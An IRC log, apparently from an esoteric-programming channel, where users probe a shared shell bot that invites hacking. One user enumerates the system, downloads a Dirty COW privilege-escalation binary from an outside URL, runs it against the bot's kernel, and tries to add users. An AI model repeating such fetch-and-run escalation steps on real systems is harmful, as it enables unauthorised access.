for random good armor and weapons, or buy them from shopkeepers that are hard to 17:39:26 steal from. 17:39:41 <\oren\> http://steamcommunity.com/id/orenwatson/myactivity 17:39:56 But at the start of QC, when Faye moved into with Marten, it looked like she was a PC. 17:39:56 So I don't know what to think. 17:40:19 -!- ais523 has joined. 17:40:47 @ask oerjan Do you know where the content formerly hosted on oerjan.nvg.org is now? I'm interested in your Shove interpreter 17:40:48 Consider it noted. 17:40:56 For an experiment, i decided to try writing a rootkit in rust. Any headsups you may want to give me on possible pitfalls (using the Winapi and kernel32-sys libraries, alongside others i pick up if needed) 17:41:04 <\oren\> Faye is one of those overpowered characters that is part of your party but leaves later 17:41:47 \oren\: she hasn't seem to left yet, and she knew welding from the start 17:42:22 btw, it's not urgent (I found a copy in the web archive), but it'd be good to have a live URL 18:03:11 -!- hppavilion[0] has joined. 18:06:04 [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51756&oldid=51746 * Orby * (+1412) Adding information about sound and improving timing to be closer to NTSC 18:06:25 -!- Jauler has joined. 18:09:05 [wiki] [[Special:Log/newusers]] create * Itay2805 * New user account 18:10:44 -!- Jauler has quit (Remote host closed the connection). 18:15:26 -!- kiki` has joined. 18:17:17 <\oren\> I think next time I'll get the achivement for freeing all the african colonies 18:17:19 <\oren\> which inevitably means fighting a war with belgium, UK, France and Portugal, probably all at once. FUN! 18:26:04 Is esolangs down? 18:26:34 orby: 128 bytes of ram (not 256 bytes) if you're thinking of the Atari 2600 18:26:58 orby: and it seems the wiki is up 18:26:59 wob_jonas: I stand corrected. Man that's brutal. 18:27:42 I'm not sure if it makes much of a difference. The difficulty is how slow the cpu is. 18:28:08 And it has to keep up with the line scans. 18:28:28 yeah, I mean the c64 was similar in terms of speed, but the hardware was much nicer 18:28:52 yes, the c64 has a framebuffer 18:28:58 yeah exactly 18:29:02 the a2600 has to mess with the video every scanline usually 18:29:07 if it wants he graphics to change 18:29:12 that's my understanding 18:29:23 -!- quinor has joined. 18:29:23 I've never actually coded for it, but I've read about it 18:29:28 `relcome quinor 18:29:35 ​quinor: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 18:29:42 * moonythedwarf waits for hackego, the slowest bot in mexico, to respond 18:29:42 hey moonythedwarf 18:30:27 ^^^ Give him a haskell. Or a copy of lethal overengineering. He demands it. 18:32:03 on the plus side, it has hardware sprite-sprite and sprite-tile collision detection, so the video processor tells you whether the bullet has hit the spaceship in a pixel-perfect manner 18:32:20 no more mucking with hitboxes that don't seem to correspond to the shape of the sprite 18:32:40 at least there's that 18:32:53 hmmm, still no esolangs for me, strange 18:33:02 I'm getting a gateway timeout 18:33:18 quinor, \/ 18:33:19 `help 18:33:20 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 18:33:22 of course, you have to update the sprite every scanline for that, so it's not much of a win 18:33:40 fungot, how many treasure do you have? 18:33:41 wob_jonas: lambda calculus for an 11 year old is playing with her at the moment? nothing :) but tried something earlier today 18:33:53 cant remember, does hackego have a haskell compiler? 18:34:00 > zip [1..] [2..] 18:34:02 [(1,2),(2,3),(3,4),(4,5),(5,6),(6,7),(7,8),(8,9),(9,10),(10,11),(11,12),(12,... 18:35:20 let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib 18:35:23 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51757&oldid=51756 * Orby * (-24) Clean up, typos, etc 18:35:31 quinor, has to be prefixed with > 18:35:36 > let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib 18:35:38 [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181] 18:35:43 werkz 18:36:47 moony: I think it does have an old ghc somewhere 18:36:54 `ghc 18:36:55 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ghc: not found 18:37:00 `ls 18:37:01 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 18:37:13 i'll look later 18:37:27 ... or not 18:37:46 maybe it's just a trace remaining from that old thing HackEgo/interps was originally supposed to replace 18:37:46 but no actual ghc 18:37:47 ? 18:37:51 dunon 18:38:33 `hugs better not have hugs 18:38:34 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: hugs: not found 18:39:05 it might be interps stuff. how do we run that? 18:39:18 `ls interps 18:39:19 1l \ 2l \ adjust \ axo \ befunge \ bfjoust \ bf_txtgen \ boof \ build.sh \ cfunge \ c-intercal \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gcccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ Makefile \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unlambda 18:39:32 yup, there it is 18:39:37 `interps/ghc 18:39:38 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/interps/ghc: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /hackenv/interps/ghc: cannot execute: Is a directory 18:39:44 `ls interps/ghc 18:39:44 but what's the bin command? 18:39:44 `? `! 18:39:45 runghc 18:39:45 ​! is a syntax used in Haskell and Prolog for solving evaluation order problems. 18:39:54 `? `run 18:39:55 ​`run? ¯\(°​_o)/¯ 18:39:59 hehe 18:40:07 `interps/ghc/runghc 18:40:24 i booped hackego by mistake. whoop 18:40:38 No output. 18:40:47 ...No output? 18:40:50 * moonythedwarf thonks 18:41:00 `interps/ghc/runghc -h 18:41:01 cat: invalid option -- 'h' \ Try 'cat --help' for more information. \ /hackenv/interps/ghc/runghc: line 5: /opt/ghc/bin/runhaskell: No such file or directory 18:41:11 wat 18:41:26 `cat interps/ghc/runghc 18:41:27 ​#!/bin/bash \ src=$(cat $1) \ if ! ghc -e "$src" 2> /dev/null \ then \ /opt/ghc/bin/runhaskell <<< $src \ fi 18:41:28 -!- DHeadshot has joined. 18:41:38 eww 18:42:13 what's that bot? 18:42:20 `help 18:42:20 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 18:42:22 thats the bot 18:42:25 I mean, what's it running on 18:42:33 and should I fuck it 18:42:37 I mean, hack it 18:42:41 Gregor's linux server, somewhere. dont fuck it, the esotericans will nom you. 18:42:58 I think the command is `! 18:43:03 `! 18:43:04 ​/hackenv/bin/!: 4: exec: ibin/: Permission denied 18:43:07 never been nommed before 18:43:13 but I'm not sure how it works 18:43:28 no, like `! language code 18:43:40 it just itches to make myself an ssh into it 18:43:44 quinor, besides, we can revert your shit as long as you dont chmod 000 everything. if you do that you are in serious trouble because you broke the bot 18:43:47 for the old collection of esointerpreters, from before HackEgo 18:43:51 quinor, bot doesnt have direct web access 18:44:08 :( 18:44:12 besides just kidding 18:44:25 `? HackEgo 18:44:26 HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico! 18:45:03 ` uname -a 18:45:03 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 18:45:30 you added a space 18:45:39 `uname -a 18:45:40 Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux 18:45:50 umlbox was written by Gregor too. :P 18:46:05 or too few backticks 18:46:05 ``` uname -a 18:46:05 Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux 18:46:08 well, there are 0days on that kernel 18:49:22 `ping google.com 18:49:23 pong 18:49:39 `ifconfig 18:49:40 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ifconfig: not found 18:49:43 -!- sleffy has joined. 18:49:43 `ip -a 18:49:43 Option "-a" is unknown, try "ip -help". 18:49:50 `ip a 18:49:51 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default \ link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 \ inet 127.0.0.1/8 scope host lo \ valid_lft forever preferred_lft forever \ inet6 ::1/128 scope host \ valid_lft forever preferred_lft forever \ 2: sit0: mtu 1480 qdisc noop s 18:50:20 `whoami 18:50:21 whoami: cannot find name for user ID 5000 18:50:33 `whereis ls 18:50:36 ls: /bin/ls /hackenv/bin/ls /usr/share/man/man1/ls.1.gz 18:50:38 `whereis sudo 18:50:39 sudo: 18:51:29 `whereis wget 18:51:31 wget: /usr/bin/wget /usr/share/man/man1/wget.1.gz 18:51:39 `ls /usr/bin /bin 18:51:40 ls: cannot access /usr/bin /bin: No such file or directory 18:51:44 `ls /usr/bin 18:51:45 ​[ \ 2to3 \ 2to3-2.6 \ 2to3-2.7 \ a2p \ addpart \ addr2line \ aot-compile \ appletviewer \ apropos \ apt \ apt-cache \ apt-cdrom \ apt-config \ apt-extracttemplates \ apt-ftparchive \ apt-get \ aptitude \ aptitude-create-state-bundle \ aptitude-curses \ aptitude-run-state-bundle \ apt-key \ apt-mark \ apt-sortpkgs \ ar \ arch \ as \ awk \ axi-cac 18:51:53 `ls /bin 18:51:53 bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chacl \ chgrp \ chmod \ chown \ cp \ cpio \ dash \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ findmnt \ fuser \ getfacl \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ jo 18:51:54 quinor, you can obviously grab files. there is a external command for it, `fetch 18:52:18 @grab files 18:52:18 Unknown command, try @list 18:52:21 and you have `paste, which gives you a link to that file in the mercual repository 18:52:48 `grab files 18:52:49 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: grab: not found 18:54:23 anybody did any fun with the bod? 18:54:27 *bot 18:55:41 `echo $PWD 18:55:42 ​$PWD 18:55:56 pwd 18:55:58 `pwd 18:55:59 ​/hackenv 18:55:59 -!- hppavilion[0] has quit (Ping timeout: 240 seconds). 18:56:38 -!- hppavilion[0] has joined. 18:59:21 quinor, i think most people did 18:59:39 you can mess with it as long as you dont upset fizzie or shachaf 18:59:40 what kind of fun? :D 18:59:53 (they will destroy you if you break it :P ) 19:00:01 build a wisdome for example 19:00:06 `? wisdome 19:00:07 The Wisdome is the place where all of HackBot's wisdom is stored and forced to fight to the death for the freedom of being printed out when you type `wisdom. Strictly speaking, it should be called the "Wissphere". 19:00:22 quinor, Bowserinator or iovoid were the ones who found the chmod 0000 issue (by doing it to the bot lol) 19:01:12 `apt-get update 19:01:14 W: Unable to read /etc/apt/apt.conf.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list - RealFileExists (2: No such file or directory) \ E: List directory /var/lib/apt/lists/partial is missing. - Acquire (2: No su 19:04:36 what made you think that would work lol 19:05:10 also, quinor, if you need the full output, redirect output to a file, and then `paste for a link to it 19:05:27 yep, I see it 19:05:34 nothing, just wanted to test a thing 19:05:41 did not expect it to work 19:05:58 `pwd 19:05:59 ​/hackenv 19:06:13 `file . 19:06:14 ​.: directory 19:06:19 `ls -la . 19:06:20 ls: invalid option -- ' ' \ Try 'ls --help' for more information. 19:06:25 `ls -la 19:06:26 total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:05 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:05 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4 19:06:39 quinor, you have to use `` for multiline (yes, thats actually just a linux command) 19:06:42 `` ls -ls . 19:06:43 total 328 \ 4 -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ 12 drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ 0 -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ 4 drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ 4 drwxr-xr-x 2 5000 0 4096 Mar 17 20:16 esobible \ 4 drwxr-xr-x 3 5000 0 4096 Oct 28 18:37 etc \ 4 drwxr-xr- 19:08:09 why ls -la is multiline? -.- 19:08:44 quinor, s/multiline/uh i dunno actually what the word that belongs here is/ 19:08:58 special chars? 19:09:04 ``ls -la 19:09:05 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `ls: not found 19:09:15 `` ls -la 19:09:16 total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:08 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4 19:09:23 basically HackEgo takes it all as one command and a giant, single arg. 19:09:47 <\oren\> moonythedwarf: unless you use 11 19:09:50 <\oren\> moonythedwarf: unless you use `` 19:09:52 `exec 'ls -la' 19:09:52 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exec: not found 19:09:58 -!- Nistur has joined. 19:10:03 <\oren\> `` ls -la . 19:10:04 total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4 19:10:10 <\oren\> `` ls -la .. 19:10:11 total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d 19:10:17 <\oren\> `` ls -la ../.. 19:10:18 total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d 19:11:00 g'mornin' 19:11:37 and three backticks is even better than two 19:11:55 wob_jonas, is four backticks better than three? 19:12:31 moonythedwarf: like most things, it's best at around pi 19:12:45 then it starts to fall 19:12:47 `` echo $0 19:12:48 ​/hackenv/bin/` 19:16:38 `` file /hackenv/bin/` 19:16:39 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 19:16:44 `` file /hackenv/bin/\` 19:16:45 ​/hackenv/bin/`: Bourne-Again shell script, ASCII text executable 19:16:52 `` cat /hackenv/bin/\` 19:16:53 ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooooooooodl 19:17:57 wob_jonas: is 3 the correct number of yaks to shave then also? 19:18:05 `` cat "x" > /hackenv/bin/\` 19:18:07 cat: x: No such file or directory 19:18:19 `ls 19:18:20 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 19:18:41 `` ls|cat -> /hackenv/bin/\` 19:18:42 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success 19:18:57 `` cat /hackenv/bin/\` 19:18:57 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success 19:19:09 `ls 19:19:10 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 19:19:20 `` cat /hackenv/bin/\` 19:19:21 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success 19:19:29 `` ls 19:19:29 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success 19:19:38 moonythedwarf: did it 19:19:52 -!- ais523 has quit. 19:19:55 ? 19:20:00 -!- callforjudgement has joined. 19:20:06 `/bin/ls 19:20:07 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 19:20:13 double tick does not work 19:20:15 i'll just revert back a little. 19:20:15 `` ls 19:20:16 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success 19:20:17 `` 19:20:18 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success 19:20:25 quinor, thats not hard to do lol 19:20:43 yep, but I screwed up just a tiny bit 19:21:17 `rv 19:21:17 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: rv: not found 19:21:21 `revert 19:21:22 Done. 19:21:24 `` 19:21:25 No output. 19:21:34 `` ls 19:21:34 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 19:21:41 quinor, magical revert is magical 19:21:55 `` echo $BASH_VERSION 19:21:56 4.3.30(1)-release 19:22:56 dirty cow? 19:23:10 quinor, go ahead and try. *shrug* 19:24:16 `` cat /hackenv/bin/\` 19:24:17 ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnoooooodl 19:25:16 ``` apt-get moo 2>/dev/null # cow 19:25:17 ​ (__) \ (oo) \ /------\/ \ / | || \ * /\---/\ \ ~~ ~~ \ ..."Have you mooed today?"... 19:25:41 `` echo "this is only a test" > testfile 19:25:43 No output. 19:25:48 `` cat testfile 19:25:49 this is only a test 19:29:59 `` cat /etc/passwd 19:29:59 cat: /etc/passwd: No such file or directory 19:30:08 `` ls /etc 19:30:09 alternatives \ java-6-openjdk 19:37:32 -!- DHeadshot has quit (Ping timeout: 255 seconds). 19:43:01 https://gfycat.com/AstonishingFrequentDiscus <<< Beseige, the land of killer mathbooks 19:43:20 `` whereis setuid 19:43:22 setuid: /usr/share/man/man2/setuid.2.gz 19:43:33 it's neatly castrated 19:44:08 `quote 19:44:08 `wisdom 19:44:08 `recipe 19:44:08 22) PA ET ANNET UNIVERSET DER DE ENESTE PERSONEN OERJAN: sa jeg kan bare konkludere med at det er feil, eller er verden helt bonkers 19:44:09 h heat for about 7 minutes. In a small saucepan, \ covered, for 6 to 7 minutes, add corn in the oil. Add the lemon juice \ and water in a double boiler or skillet. Spoon in the flour mixture \ to a boil. Drain the fruit. PLACE STEW ONCOAT. WITH COOKIES \ WITH THE LOW THE PAN. PER SERVING: 77g; PRO: 4g; MC \ : From oven the chilies. \ \ From 19:44:09 links//links is one of the very few HTML renderers that doesn't try to store a full document tree with heavyweight objects for each node just in case javascript wants to modify it later, so it's the only engine that can render those HTMLs that are automatically converted from a PDF and put each letter in a separate element. 19:44:13 `random-card 19:44:13 `starwars 19:44:13 Rey 19:44:14 Angelic Captain \ 3RW \ Creature -- Angel Ally \ 4/3 \ Flying \ Whenever Angelic Captain attacks, it gets +1/+1 until end of turn for each other attacking Ally. \ BFZ-R 19:44:22 `coins 19:44:25 ​symcoin sonicoin jotcoin alfoncoin mingycoin arrocoin ecchilosophcoin arrcoin fhatefullycoin envercoin divincoin snardcoin eldocoin surfacoin duncoin rcecoin harrelacoin rasscoin encycoin braicoin 19:45:02 nah, I think that's my wisdom. retry 19:45:02 `wisdom 19:45:03 elrond//Elrond is a rogue program originally created to police the Matrix, eventually gaining increased individuality and becoming a threat to the Machines themselves. 19:45:05 -!- `^_^v has quit (Quit: Leaving). 19:45:16 -!- `^_^v has joined. 19:45:21 but... Thats accurate. FIX NAO 19:45:30 `wisdom wisdom 19:45:31 the five wisdoms//The first of the five wisdoms is that there is only one wisdom. 19:45:37 `? wisdom 19:45:38 wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø? 19:46:12 `` file /usr/bin/passwd 19:46:12 ​/usr/bin/passwd: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fbb01025248f78c897f7dd01f5c1b7bdff5ee6d2, stripped 19:46:21 `` ls -la /usr/bin/passwd 19:46:22 ​-rwsr-xr-x 1 0 0 54192 Feb 24 08:09 /usr/bin/passwd 19:46:48 `` uname -a 19:46:48 Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux 19:47:29 `help 19:47:29 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 19:47:51 `wisdom 19:47:51 `quote 19:47:52 229) Phantom_Hoover: I have just one tvtropes page open in elinks, but my tvtropes.txt "queue" has 38 tvtropes.org URLs waiting for processing. 19:47:52 axiom of choice//The axiom of choice is equivalent to the Free Will Principle and Zeno's Lemma. 19:49:00 -!- hppavilion[0] has quit (Ping timeout: 240 seconds). 19:49:25 `fetch of https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out 19:49:29 2017-04-17 18:48:58 URL:https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out [19843/19843] -> "of" [1] 19:49:35 `file of 19:49:35 of: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.0.0, BuildID[sha1]=fafa414f587cde321a646d38d3a818c127b89c02, not stripped 19:49:38 `chmod +x of 19:49:39 chmod: missing operand after ‘+x of’ \ Try 'chmod --help' for more information. 19:49:44 `` chmod +x of 19:49:46 No output. 19:50:07 smells... Dirty. 19:50:09 `./of 19:50:22 `ls 19:50:22 quinor, what does ./of do? 19:50:23 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ of \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ testfile \ tmflry \ tmp \ wisdom 19:50:39 bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.3$ 19:50:42 moonythedwarf: it's dirty cow, supposed to elevate rights on unpatched kernel 19:50:58 mk 19:51:17 `` echo "whoami" 19:51:17 whoami 19:51:25 `` echo "whoami" | ./of 19:51:28 hmm, enjoy you ioctl. Also, its not persistant. 19:51:30 whoami: cannot find name for user ID 5000 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped 19:51:58 quinor: put commands in ./bin unless there's a good reason not to 19:52:10 ^ 19:52:13 we like to keep the hackenv dir clear 19:52:15 I wanna wipe it out when I'm done 19:52:25 it's just a test 19:52:31 shall I make private dir? 19:52:35 go ahead. 19:52:45 just remember the shell is not persistant, so your cd wont stick 19:52:59 `` mkdir private 19:53:00 No output. 19:53:12 `` mv private quinor 19:53:13 No output. 19:53:17 `` mv of quinor/ 19:53:19 No output. 19:53:22 `` ls quinor 19:53:23 of 19:54:28 -!- hppavilion[1] has joined. 19:55:13 `pwd 19:55:13 ​/hackenv 19:55:15 helloppavilion[1] 19:55:42 quinor, btw, hackego has a compiler. it could compile what you need if its not too big 19:55:45 `gcc 19:55:46 gcc: fatal error: no input files \ compilation terminated. 19:55:50 `make 19:55:51 make: *** No targets specified and no makefile found. Stop. 19:56:06 moonythedwarf: easier to paste it in 19:56:12 `` echo "touch /hackenv/dupa" | ./quinor/of 19:56:13 eh true 19:56:19 DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped 19:56:26 `` file dupa 19:56:27 dupa: empty 19:56:35 `` ls -la dupa 19:56:35 ​-rw-r--r-- 1 5000 0 0 Apr 17 18:55 dupa 19:57:21 dont think it worked lol 19:57:28 `` rm dupa 19:57:30 No output. 19:57:40 well you're obviously right 19:57:47 is there even a root? 19:58:12 dont think so actually. You'd have to ask Gregor how its set up, or check the UMLBox code (its available online) 19:59:34 quinor, one attack surface foiled by good coding :P 19:59:45 the 'root' route is a mirror 20:00:03 ``ls -la / 20:00:04 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `ls: not found 20:00:09 `` ls -la / 20:00:10 total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:59 etc \ drwxr-xr-x 26 5000 5000 4096 Apr 17 18:59 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:59 home \ d 20:00:18 uid 0 20:00:25 `` whereis useradd 20:00:27 useradd: /usr/sbin/useradd /usr/share/man/man8/useradd.8.gz 20:00:28 `` whereis adduser 20:00:30 adduser: /usr/sbin/adduser /usr/share/adduser /usr/share/man/man8/adduser.8.gz 20:00:51 `` ls -l /usr/bin/useradd 20:00:52 ls: cannot access /usr/bin/useradd: No such file or directory 20:01:21 `` echo "ls -l /usr/bin/useradd" | ./quinor/of 20:01:24 ls: cannot access /usr/bin/useradd: No such file or directory \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped 20:01:46 quinor, you ment sbin lol 20:02:05 `` echo "ls -l /usr/sbin/useradd" | ./quinor/of 20:02:08 ​-rwxr-xr-x 1 0 0 121536 Feb 24 08:09 /usr/sbin/useradd \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped 20:02:37 `` echo "dupa" | passwd 20:02:38 passwd: Cannot determine your user name. 20:02:39 quinor, yup, you will never truely have root in UMLbox with a locked down user running it. Your dirty cow escalation just gives you said locked down user's perms, not root. 20:03:01 I see, clever 20:03:15 can I add a user with uid 0 then? 20:03:16 (UMLBox doesnt need root to run) 20:03:22 dont think so. 20:04:01 umlbox code is here: https://bitbucket.org/GregorR/umlbox/wiki/Home 20:04:49 yep 20:04:52 I see 20:05:10 [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51758&oldid=51736 * Orby * (+43) /* Instructions */ adding note about timing 20:06:11 `` useradd kaczor 20:06:12 ​/hackenv/bin/`: line 4: useradd: command not found 20:06:22 `` /usr/sbin/useradd kaczor 20:06:23 No output. 20:06:32 `` su kaczor 20:06:33 su: Cannot determine your user name. 20:06:44 `` file /etc/passwd 20:06:45 ​/etc/passwd: cannot open `/etc/passwd' (No such file or directory) 20:06:48 quinor, you'd need to give yourself a username first. 20:07:41 `` ls /tmp 20:07:42 No output. 20:07:46 `` ls /tmp/bak 20:07:47 ls: cannot access /tmp/bak: No such file or directory 20:08:13 same for passwd 20:08:15 err 20:08:23 /tmp is set readonly i bet 20:08:30 (hexchat, that wasnt a command!) 20:08:34 `` ls -l /tmp 20:08:35 total 0 20:08:38 `` ls -la /tmp 20:08:39 